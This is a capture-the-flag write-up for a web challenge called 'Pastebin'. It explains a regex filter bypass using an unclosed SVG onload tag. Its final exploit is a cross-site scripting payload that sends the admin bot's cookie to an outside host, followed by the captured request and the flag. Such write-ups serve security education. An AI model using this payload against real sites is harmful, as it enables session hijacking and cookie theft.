🎲 Pastebin [web] 🎲
Description:
- Hey, another one of these!
Difficulty:
easy
Objective:
CSRF through XSS resulting in cookie hijacking
Challenge files:
Finding The Vuln
On index.js
, we see that there’s a POST
request send to the /new
endpoint using our paste
as the body. It then populates a unique id
for our paste
and creates a new view out of it in which we can navigate.
app.post('/new', (req, res) => {
const paste = (req.body.paste ?? '').toString();
if (paste.length == 0) {
return res.redirect(`/flash?message=Paste cannot be empty!`);
}
if (paste.search(/<.*>/) !== -1) {
return res.redirect(`/flash?message=Illegal characters in paste!`);
}
const id = add(paste);
res.redirect(`/view/${id}`);
});
The challenge appends our paste to our view’s HTML
without any sanitization.
app.get('/view/:id', (req, res) => {
const id = req.params.id;
res.type('html');
res.end(`
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Paste</h1>
${pastes.get(id) ?? 'Paste does not exist!'}
</div>
`);
});
The only problem that prevents us from using a simple <script>alert(1)</script>
is the regex that is checking if our paste has something inside a less sign and a greater than sign <anything>. So, if the output of the .search()
is -1
that means that it passed the check.
const paste = '<script>alert(1)</script>';
const bypass = paste.search(/<.*>/);
console.log(bypass)
// 0
To bypass this check we can use HTML Attributes
without closing the element tag.
const paste = '<svg onload=alert("iamfanky")';
const bypass = paste.search(/<.*>/);
console.log(bypass)
// -1
⛳ Where is the Flag?
Looking at the bot’s source code we can see that it set’s as a cookie for the pastebin.mc.ax
the flag. That means that if we use the xss
to force the bot to visit our endpoint it will visit it with the flag set as it’s cookie.
import flag from './flag.txt'
export default {
id: 'pastebin',
name: 'pastebin',
timeout: 10000,
handler: async (url, ctx) => {
const page = await ctx.newPage()
await page.setCookie({ name: 'flag', value: flag.trim(), domain: 'pastebin.mc.ax' })
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await page.waitForTimeout(5000)
},
}
Final Exploit
<svg onload="fetch('https://fanky.me/?c='+document.cookie)"
GET /?c=flag=hope{the_pastebin_was_irrelvant} HTTP/1.1
Host: fanky.me
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Origin: https://pastebin.mc.ax
Referer: https://pastebin.mc.ax/
Sec-Ch-Ua: "/Not)A;Brand";v="24", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
X-Forwarded-For: 2600:1900:2000:c4::5
X-Forwarded-Proto: https
Flag:
hope{the_pastebin_was_irrelvant}